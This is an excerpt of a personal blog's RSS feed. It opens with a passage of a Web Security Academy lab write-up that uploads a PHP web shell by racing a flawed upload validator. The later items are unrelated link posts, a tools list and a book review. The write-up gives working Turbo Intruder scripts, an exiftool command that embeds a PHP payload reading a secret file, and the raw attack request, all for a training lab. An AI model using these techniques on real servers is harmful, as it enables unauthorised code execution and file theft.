<span class="k">if</span> <span class="p">(</span><span class="nf">checkViruses</span><span class="p">(</span><span class="nv">$target_file</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nf">checkFileType</span><span class="p">(</span><span class="nv">$target_file</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"The file "</span><span class="mf">.</span> <span class="nb">htmlspecialchars</span><span class="p">(</span> <span class="nv">$target_file</span><span class="p">)</span><span class="mf">.</span> <span class="s2">" has been uploaded."</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nb">unlink</span><span class="p">(</span><span class="nv">$target_file</span><span class="p">);</span>
    <span class="k">echo</span> <span class="s2">"Sorry, there was an error uploading your file."</span><span class="p">;</span>
    <span class="nb">http_response_code</span><span class="p">(</span><span class="mi">403</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">function</span> <span class="n">checkViruses</span><span class="p">(</span><span class="nv">$fileName</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// checking for viruses</span>
    <span class="mf">...</span>
<span class="p">}</span>

<span class="k">function</span> <span class="n">checkFileType</span><span class="p">(</span><span class="nv">$fileName</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$imageFileType</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$fileName</span><span class="p">,</span><span class="no">PATHINFO_EXTENSION</span><span class="p">));</span>
    <span class="k">if</span><span class="p">(</span><span class="nv">$imageFileType</span> <span class="o">!=</span> <span class="s2">"jpg"</span> <span class="o">&amp;&amp;</span> <span class="nv">$imageFileType</span> <span class="o">!=</span> <span class="s2">"png"</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">echo</span> <span class="s2">"Sorry, only JPG &amp; PNG files are allowed</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
<span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>
  <br />
</p>
<h2 id="solutions">Solutions</h2>
<hr />
<p>
  <br />
</p>
<h3 id="solution-1-my-solution">Solution 1: My Solution</h3>
<p>The main logic for me to solve this lab was to upload a suitable sized file(not small not that large) then because of this vulnerable code exposed in hint section, I knew that my PHP file would be on the server for a fraction of a second then the virus and extension check would be done on it then because it is a PHP file and not a JPG or PNG, it would be deleted, so I could use race condition to read the PHP file in a few milliseconds that the file exists on the server before deletion so: I used Burp Turbo Intruder for solving this lab to be able to send GET requests to read the PHP file as fast as I can. A simple code is used in Turbo Intruder for solving this lab:</p>

<div class="language-py highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="k">def</span> <span class="nf">queueRequests</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">wordlists</span><span class="p">):</span>

    <span class="n">engine</span> <span class="o">=</span> <span class="nc">RequestEngine</span><span class="p">(</span><span class="n">endpoint</span><span class="o">=</span><span class="n">target</span><span class="p">.</span><span class="n">endpoint</span><span class="p">,</span>

                           <span class="n">concurrentConnections</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span>

                           <span class="n">requestsPerConnection</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span>

                           <span class="n">pipeline</span><span class="o">=</span><span class="bp">False</span>

                           <span class="p">)</span>

    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>

    <span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">10000</span><span class="p">:</span>

        <span class="n">engine</span><span class="p">.</span><span class="nf">queue</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">req</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>

        <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>


<span class="k">def</span> <span class="nf">handleResponse</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">interesting</span><span class="p">):</span>

    <span class="c1"># currently available attributes are req.status, req.wordcount, req.length and req.response
</span>
    <span class="k">if</span> <span class="n">req</span><span class="p">.</span><span class="n">status</span> <span class="o">!=</span> <span class="mi">404</span><span class="p">:</span>

        <span class="n">table</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">req</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<p>I set concurrentConnections=80 by trial and error, more was hindering the main upload request so I set to 80. Then I downloaded a random 500KB PNG file from the web and used exiftool to add this code to it and renamed it to a PHP file:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>exiftool -comment="&lt;?php echo file_get_contents('/home/carlos/secret'); ?&gt;" diamond.php
</code>
    </pre>
  </div>
</div>

<p>then because of a line of code in vulnerable code in hint:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nv">$imageFileType</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$fileName</span><span class="p">,</span><span class="no">PATHINFO_EXTENSION</span><span class="p">));</span>
</code>
    </pre>
  </div>
</div>

<p>I changed the name of the file to the longest to increase the file processing (even for a few milliseconds) for <code class="language-plaintext highlighter-rouge">strtolower</code> function to maximum to save myself some time for race condition:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>9LKhNJGiTLcMURUGt9a5WulDgvZwvvGDUlnfmPzaglT7VoZcV0lwo4sXK1emCplNsJsf2LU4Wa1arKxmik9iN0pCb4xBhBJ7Id8Bn2Ay6RhWPd2uHyBhhTnCjU7wgdGJjYNBBptx2ky9k0kWHCqpe09UGryPKiaNFugvgEWHpmAOjXxRY7JpH50hbtmw4uZQ3L0k0W2DpYBvcYvgTsXIW2tGiPdN.php
</code>
    </pre>
  </div>
</div>

<p>this was the biggest name that windows let me to use. then I made the file upload ready but before that, I started burp turbo intruder with the above code on this request as a NULL payload:</p>

<div class="language-http highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nf">GET</span> <span class="nn">/files/avatars/9LKhNJGiTLcMURUGt9a5WulDgvZwvvGDUlnfmPzaglT7VoZcV0lwo4sXK1emCplNsJsf2LU4Wa1arKxmik9iN0pCb4xBhBJ7Id8Bn2Ay6RhWPd2uHyBhhTnCjU7wgdGJjYNBBptx2ky9k0kWHCqpe09UGryPKiaNFugvgEWHpmAOjXxRY7JpH50hbtmw4uZQ3L0k0W2DpYBvcYvgTsXIW2tGiPdN.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">aca11f781e0864bac09904d8002e00ef.web-security-academy.net</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">session=vPq6ob4pyKBosm73un9VIH47fzVFKaqo</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">document</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">navigate</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">none</span>
<span class="na">Sec-Fetch-User</span><span class="p">:</span> <span class="s">?1</span>
<span class="na">Dnt</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Sec-Gpc</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Te</span><span class="p">:</span> <span class="s">trailers</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
</code>
    </pre>
  </div>
</div>

<p>then I hit upload on the web page in the browser to send the file, and after about one minute I could get some 200 responses in turbo intruder containing password for carlos! :)</p>

<p>
  <br />
</p>
<h3 id="solution-2--web-security-academys-solution">Solution 2:  Web Security Academy’s Solution</h3>
<p>The Web Security Academy solved this lab in a better and more precise way that can be used in the future race condition situations without bombarding the server with many requests:</p>

<p>As you can see from the hint source code above, the uploaded file is moved to an accessible folder, where it is checked for viruses. Malicious files are only removed once the virus check is complete. This means it’s possible to execute the file in the small time-window before it is removed.</p>

<p>
  <br />
</p>
<h4 id="note-1">Note 1</h4>
<p>
  <em>Due to the generous time window for this race condition, it is possible to solve this lab by manually sending two requests in quick succession using Burp Repeater. The solution described here teaches you a practical approach for exploiting similar vulnerabilities in the wild, where the window may only be a few milliseconds.</em>
</p>

<p>
  <br />
</p>

<ol>
  <li>
    <p>Log in and upload an image as your avatar, then go back to your account page.</p>
  </li>
  <li>
    <p>In Burp, go to <strong>Proxy &gt; HTTP history</strong> and notice that your image was fetched using a <code class="language-plaintext highlighter-rouge">GET</code> request to <code class="language-plaintext highlighter-rouge">/files/avatars/&lt;YOUR-IMAGE&gt;</code>.</p>
  </li>
  <li>
    <p>On your system, create a file called <code class="language-plaintext highlighter-rouge">exploit.php</code> containing a script for fetching the contents of Carlos’s secret. For example:</p>
  </li>
</ol>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/home/carlos/secret'</span><span class="p">);</span> <span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<ol start="4">
  <li>
    <p>Log in and attempt to upload the script as your avatar. Observe that the server appears to successfully prevent you from uploading files that aren’t images, even if you try using some of the techniques you’ve learned in previous labs.</p>
  </li>
  <li>
    <p>If you haven’t already, add the Turbo Intruder extension to Burp from the BApp store.</p>
  </li>
  <li>
    <p>Right-click on the <code class="language-plaintext highlighter-rouge">POST /my-account/avatar</code> request that was used to submit the file upload and select <strong>Extensions &gt; Turbo Intruder &gt; Send to turbo intruder</strong>. The Turbo Intruder window opens.</p>
  </li>
  <li>
    <p>Copy and paste the following script template into Turbo Intruder’s Python editor:</p>
  </li>
</ol>

<div class="language-py highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="k">def</span> <span class="nf">queueRequests</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">wordlists</span><span class="p">):</span>
    <span class="n">engine</span> <span class="o">=</span> <span class="nc">RequestEngine</span><span class="p">(</span><span class="n">endpoint</span><span class="o">=</span><span class="n">target</span><span class="p">.</span><span class="n">endpoint</span><span class="p">,</span> <span class="n">concurrentConnections</span><span class="o">=</span><span class="mi">10</span><span class="p">,)</span>

    <span class="n">request1</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">&lt;YOUR-POST-REQUEST&gt;</span><span class="sh">'''</span>

    <span class="n">request2</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">&lt;YOUR-GET-REQUEST&gt;</span><span class="sh">'''</span>

    <span class="c1"># the 'gate' argument blocks the final byte of each request until openGate is invoked
</span>    <span class="n">engine</span><span class="p">.</span><span class="nf">queue</span><span class="p">(</span><span class="n">request1</span><span class="p">,</span> <span class="n">gate</span><span class="o">=</span><span class="sh">'</span><span class="s">race1</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
        <span class="n">engine</span><span class="p">.</span><span class="nf">queue</span><span class="p">(</span><span class="n">request2</span><span class="p">,</span> <span class="n">gate</span><span class="o">=</span><span class="sh">'</span><span class="s">race1</span><span class="sh">'</span><span class="p">)</span>

    <span class="c1"># wait until every 'race1' tagged request is ready
</span>    <span class="c1"># then send the final byte of each request
</span>    <span class="c1"># (this method is non-blocking, just like queue)
</span>    <span class="n">engine</span><span class="p">.</span><span class="nf">openGate</span><span class="p">(</span><span class="sh">'</span><span class="s">race1</span><span class="sh">'</span><span class="p">)</span>

    <span class="n">engine</span><span class="p">.</span><span class="nf">complete</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">60</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">handleResponse</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">interesting</span><span class="p">):</span>
    <span class="n">table</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">req</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<ol start="8">
  <li>
    <p>In the script, replace <code class="language-plaintext highlighter-rouge">&lt;YOUR-POST-REQUEST&gt;</code> with the entire <code class="language-plaintext highlighter-rouge">POST /my-account/avatar</code> request containing your <code class="language-plaintext highlighter-rouge">exploit.php</code> file. You can copy and paste this from the top of the Turbo Intruder window.</p>
  </li>
  <li>
    <p>Replace <code class="language-plaintext highlighter-rouge">&lt;YOUR-GET-REQUEST&gt;</code> with a <code class="language-plaintext highlighter-rouge">GET</code> request for fetching your uploaded PHP file. The simplest way to do this is to copy the <code class="language-plaintext highlighter-rouge">GET /files/avatars/&lt;YOUR-IMAGE&gt;</code> request from your proxy history, then change the filename in the path to <code class="language-plaintext highlighter-rouge">exploit.php</code>.</p>
  </li>
  <li>
    <p>At the bottom of the Turbo Intruder window, click <strong>Attack</strong>. This script will submit a single <code class="language-plaintext highlighter-rouge">POST</code> request to upload your <code class="language-plaintext highlighter-rouge">exploit.php</code> file, instantly followed by 5 <code class="language-plaintext highlighter-rouge">GET</code> requests to <code class="language-plaintext highlighter-rouge">/files/avatars/exploit.php</code>.</p>
  </li>
  <li>
    <p>In the results list, notice that some of the <code class="language-plaintext highlighter-rouge">GET</code> requests received a 200 response containing Carlos’s secret. These requests hit the server after the PHP file was uploaded, but before it failed validation and was deleted.</p>
  </li>
  <li>
    <p>Submit the secret to solve the lab.</p>
  </li>
</ol>

<p>
  <br />
</p>
<h4 id="note-2">Note 2</h4>
<p>
  <em>If you choose to build the <code class="language-plaintext highlighter-rouge">GET</code> request manually, make sure you terminate it properly with a <code class="language-plaintext highlighter-rouge">\r\n\r\n</code> sequence. Also remember that Python will preserve any whitespace within a multiline string, so you need to adjust your indentation accordingly to ensure that a valid request is sent.</em>
</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<ol>
  <li>
    <p>Use Burp Turbo Intruder for race condition tests.</p>
  </li>
  <li>
    <p>There’s always a risk for race condition and then remote code execution if the file upload mechanism uploads files on the server then validates them even if the file stays on the server for only a fraction of a second.</p>
  </li>
</ol>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="lab-web-shell-upload-via-race-condition"><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition">Lab: Web shell upload via race condition</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 09 May 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2022/expert-lab-web-shell-upload-via-race-condition</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2022/expert-lab-web-shell-upload-via-race-condition</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2022/console.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Expert Labs</category>
        
          <category>File Upload Vulnerabilities</category>
        
          <category>Race Condition Vulnerabilities</category>
        
          <category>Turbo Intruder</category>
        
          <category>Exiftool</category>
        
      </item>
    
      <item>
        <title>Hide Malicious Shell in Image File</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/beach.png" alt="Hide Malicious Shell in Image File" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>There are many ways to bypass flawed validation of file uploads to upload web shells on web applications, this link explains some ways like creating a polyglot image file containing malicious code in its metadata using tools like exiftool, this method is interesting, check it out.</p>

<p>Also you can practice this vulnerability in Web Security Academy, check the link below.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="hide-malicious-shell-in-image-file"><a href="https://rcenetsec.com/hide-malicious-shell-in-image-file/" rel="nofollow">Hide malicious shell in image file</a></h3>
  </li>
  <li>
    <h3 id="lab-remote-code-execution-via-polyglot-web-shell-upload"><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload">Lab: Remote code execution via polyglot web shell upload</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sun, 08 May 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/hide-malicious-shell-in-image-file</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/hide-malicious-shell-in-image-file</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/beach.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Labs</category>
        
          <category>File Upload Vulnerabilities</category>
        
          <category>Malicious Metadata</category>
        
          <category>Exiftool</category>
        
      </item>
    
      <item>
        <title>Duolingo: An Effective Way to Learn a New Language</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/duolingo.png" alt="Duolingo: An Effective Way to Learn a New Language" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>Learning a new language can be hard and time-consuming but with a proper method, it can be fun and smooth.</p>

<p>Duolingo is a very fun and effective way to learn a new language. 
It has many great features. One of them is streak, which is built if you complete your lessons every day.</p>

<p>It even sends you a notification if you don’t do your daily learning to remind you that in order to keep your streak, you need to do the daily learning of a few fun minutes.</p>

<p>Also you choose your daily goal from 5 different levels: Basic, Casual, Regular, Serious, Intense, with each higher level you need to put more time energy for learning.</p>

<p>I’m using Duolingo to learn German and it has been a fun and effective experience so far.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="duolingo-website"><a href="https://www.duolingo.com/">Duolingo Website</a></h3>
  </li>
</ul>

          ]]>
        </description>

        <pubDate>Tue, 12 Apr 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/duolingo-an-effective-way-to-learn-a-new-language</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/duolingo-an-effective-way-to-learn-a-new-language</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/duolingo.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Languages</category>
        
          <category>Learning Languages</category>
        
      </item>
    
      <item>
        <title>COEP COOP CORP CORS CORB... that&apos;s a lot of new stuff!</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/web-icon.png" alt="COEP COOP CORP CORS CORB... that&#39;s a lot of new stuff!" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>Great article about some relatively new HTTP Security Headers.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="coep-coop-corp-cors-corb---crap-thats-a-lot-of-new-stuff"><a href="https://scotthelme.co.uk/coop-and-coep/">COEP COOP CORP CORS CORB - CRAP that’s a lot of new stuff!</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 12 Apr 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/coep-coop-corp-cors-corb-crap-thats-a-lot-of-new-stuff</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/coep-coop-corp-cors-corb-crap-thats-a-lot-of-new-stuff</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/web-icon.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web</category>
        
          <category>HTTP</category>
        
          <category>Web Applications</category>
        
          <category>Web Application Security</category>
        
          <category>HTTP Headers</category>
        
          <category>Security Headers</category>
        
      </item>
    
      <item>
        <title>Handy Benchmarking Tools for your Website</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2022/chart-search-icon.png" alt="Handy Benchmarking Tools for your Website" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>Here is a list of some handy benchmarking tools for your website:</p>

<p>
  <br />
</p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<p>
  <br />
</p>
<h3 id="performance-and-speed-testing">Performance and Speed Testing</h3>
<hr />
<ul>
  <li><a href="https://pagespeed.web.dev/">PageSpeed Insights</a></li>
  <li><a href="https://www.webpagetest.org/">Website Performance and Optimization Test</a></li>
  <li><a href="https://gtmetrix.com/">GTmetrix</a></li>
  <li><a href="https://webspeedtest.cloudinary.com/">Website Image Analysis Tool</a></li>
</ul>

<p>
  <br />
</p>
<h3 id="structure-check">Structure check</h3>
<hr />
<ul>
  <li><a href="https://validator.w3.org/nu/">Nu Html Checker</a></li>
  <li><a href="https://validator.w3.org/feed/">W3C Feed Validation Service</a></li>
  <li><a href="https://www.rssboard.org/rss-validator/">RSS Validator</a></li>
  <li><a href="https://mxtoolbox.com/domain/">Domain Health Report</a></li>
</ul>

<p>
  <br />
</p>
<h3 id="seo">SEO</h3>
<hr />
<ul>
  <li><a href="https://www.seoreviewtools.com/google-seo-checker/" rel="nofollow">Google SEO Checker 2.0</a></li>
  <li><a href="https://www.seobility.net/en/seocheck/" rel="nofollow">Seobility Free SEO Checker</a></li>
  <li><a href="https://seositecheckup.com/" rel="nofollow">SEO Site Checkup</a></li>
  <li><a href="https://www.seoptimer.com/" rel="nofollow">Seoptimer SEO Audit &amp; Reporting Tool</a></li>
  <li><a href="https://seorch.net/" rel="nofollow">SEORCH</a></li>
  <li><a href="https://www.semrush.com/siteaudit/" rel="nofollow">Semrush SEO Checker</a></li>
</ul>

<p>
  <br />
</p>
<h3 id="security-check">Security Check</h3>
<hr />
<h4 id="general">General</h4>
<ul>
  <li><a href="https://en.internet.nl/">Internet.nl: Is your Internet UP to Date?</a></li>
  <li><a href="https://observatory.mozilla.org/">The Mozilla Observatory</a></li>
</ul>

<p>
  <br />
</p>
<h4 id="tls-check">TLS Check</h4>
<ul>
  <li><a href="https://www.ssllabs.com/ssltest/">SSL Server Test</a></li>
  <li><a href="https://www.cdn77.com/tls-test">TLS checker</a></li>
</ul>

<p>
  <br />
</p>
<h4 id="http-security-headers-check">HTTP Security Headers Check</h4>
<ul>
  <li><a href="https://securityheaders.com/">Security Headers</a></li>
  <li><a href="https://report-uri.com/home/analyse/">CSP Analyser</a></li>
  <li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a></li>
</ul>

<p>
  <br />
</p>
<h4 id="email-security">Email Security</h4>
<ul>
  <li><a href="https://dmarcian.com/domain-checker/">DMARC Domain Checker</a></li>
</ul>

<p>
  <br />
</p>
<h4 id="dnssec-evaluation">DNSSEC Evaluation</h4>
<ul>
  <li><a href="https://dnsviz.net/">DNSViz</a></li>
</ul>

<p>
  <br />
</p>
<h3 id="privacy-check">Privacy Check</h3>
<hr />
<ul>
  <li><a href="https://www.cookiemetrix.com/">CookieMetrix</a></li>
</ul>

<p>
  <br />
</p>
<h3 id="other-useful-tools">Other useful tools</h3>
<hr />
<h4 id="create-web-optimized-imagevideo-formats">Create web-optimized image/video formats</h4>
<ul>
  <li><a href="https://ffmpeg.org/download.html">FFMPEG</a></li>
  <li><a href="https://imagemagick.org/script/download.php">ImageMagick</a></li>
  <li><a href="https://developers.google.com/speed/webp/download">CWEBP</a></li>
  <li><a href="https://squoosh.app/">Squoosh</a></li>
</ul>

<p>
  <br />
</p>
<h4 id="rss-readers">RSS Readers</h4>
<ul>
  <li><a href="https://feedly.com/">Feedly online RSS reader</a></li>
  <li><a href="https://apps.microsoft.com/detail/9nblggh58s5r">NewsFlow</a></li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 12 Apr 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2022/handy-benchmarking-tools-for-your-website</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2022/handy-benchmarking-tools-for-your-website</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2022/chart-search-icon.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web</category>
        
          <category>Website</category>
        
          <category>Web Benchmarking Tools</category>
        
          <category>Website Performance</category>
        
          <category>Website Security</category>
        
          <category>DNSSEC</category>
        
          <category>TLS</category>
        
          <category>HTTP Headers</category>
        
          <category>Security Headers</category>
        
      </item>
    
      <item>
        <title>Dopamine Nation: Finding Balance in the Age of Indulgence</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2022/dopamine-nation-book.jpg" alt="Dopamine Nation: Finding Balance in the Age of Indulgence" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />

<p>INSTANT NEW YORK TIMES and LOS ANGELES TIMES BESTSELLER
“Brilliant… riveting, scary, cogent, and cleverly argued.”—Beth Macy, author of Dopesick
As heard on Fresh Air</p>

<p>This book is about pleasure. It’s also about pain. Most important, it’s about how to find the delicate balance between the two, and why now more than ever finding balance is essential. We’re living in a time of unprecedented access to high-reward, high-dopamine stimuli: drugs, food, news, gambling, shopping, gaming, texting, sexting, Facebooking, Instagramming, YouTubing, tweeting… The increased numbers, variety, and potency is staggering. The smartphone is the modern-day hypodermic needle, delivering digital dopamine 24/7 for a wired generation. As such we’ve all become vulnerable to compulsive overconsumption.</p>

<p>In Dopamine Nation, Dr. Anna Lembke, psychiatrist and author, explores the exciting new scientific discoveries that explain why the relentless pursuit of pleasure leads to pain…and what to do about it. Condensing complex neuroscience into easy-to-understand metaphors, Lembke illustrates how finding contentment and connectedness means keeping dopamine in check. The lived experiences of her patients are the gripping fabric of her narrative. Their riveting stories of suffering and redemption give us all hope for managing our consumption and transforming our lives. In essence, Dopamine Nation shows that the secret to finding balance is combining the science of desire with the wisdom of recovery.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“Anna Lembke deeply understands an experience I hear about often in the therapy room at the nexus between our modern addictions and our primal brains. Her stories of guiding people to find a healthy balance between pleasure and pain have the power to transform your life.”
—Lori Gottlieb, “Dear Therapist” columnist at The Atlantic, New York Times bestselling author of Maybe You Should Talk to Someone</p>

<p>“Just when you thought you knew all you needed to know about the addiction crisis, along comes Dr. Anna Lembke with her second brilliant book on the topic—this one not about a drug but about the most powerful chemical of all: the dopamine that rules the pain and pleasure centers of our minds. In an era of overconsumption and instant gratification, Dopamine Nation explains the personal and societal price of being ruled by the next fix—and how to manage it. No matter what you might find yourself over-indulging in—from the internet to food to work to sex—you’ll find this book riveting, scary, cogent, and cleverly argued. Lembke weaves patient stories with research, in a voice that’s as empathetic as it is clear-eyed.”
—Beth Macy, author of Washington Post Best Book of the Year, New York Times Notable Book of 2018 and bestseller Dopesick: Dealers, Doctors, and the Drug Company That Addicted America</p>

<p>“We all desire a break from our routines and those parts of life that upset us. What if, instead of trying to escape these things, we learn to turn toward them, to reach a peaceful harmony with our selves and the people we share our lives with? Lembke has written a book that radically changes the way we think about mental illness, pleasure, pain, reward, and stress. Turn toward it. You’ll be happy you did.”
—Daniel Levitin, New York Times bestselling author of The Organized Mind and Successful Aging</p>

<p>“Explore[s] the dichotomy between seeking a readily accessible hit of dopamine—from our phones, gambling, or a bag of Fritos—and maintaining healthy, productive, stable lives.”
—The New York Times, Inside the Best-Seller List</p>

<p>“[An] eye-opening survey on pleasure-seeking and addiction… Readers looking for balance will return to Lembke’s informative and fascinating guidance.”
—Publishers Weekly starred review</p>

<p>“… fascinating case histories, and a sensible formula for treatment.”
—Kirkus Reviews</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Anna Lembke is the medical director of Stanford Addiction Medicine, program director for the Stanford Addiction Medicine Fellowship, and chief of the Stanford Addiction Medicine Dual Diagnosis Clinic. She is the recipient of numerous awards for outstanding research in mental illness, for excellence in teaching, and for clinical innovation in treatment. A clinician scholar, she has published more than a hundred peer-reviewed papers, book chapters, and commentaries in prestigious outlets such as The New England Journal of Medicine and JAMA. She sits on the board of several state and national addiction-focused organizations, has testified before various committees in the United States House of Representatives and Senate, keeps an active speaking calendar, and maintains a thriving clinical practice.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />

<p>Author: Dr. Anna Lembke</p>

<p>Category: Sociological Study of Medicine, Medical Clinical Psychology, Emotional Mental Health</p>

<p>Publisher: Dutton (August 24, 2021)</p>

<p>Paperback: 304 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />

<p>This is an important topic in this day and age, especially for the tech savvy and heavy computer and digital devices users in order to maintain health and well-being. This is a great book. Probably the best book that I’ve seen about Dopamine hormone because it explains this hard Neuroscience topic in an easy to understand manner. In my opinion, this is a very important and informative book which is a necessary read and its message is probably as important as <a href="https://nima.ninja/books/2021/the-selfish-gene">The Selfish Gene</a> for us, so it is highly recommended.</p>

<p>
  <br />
</p>
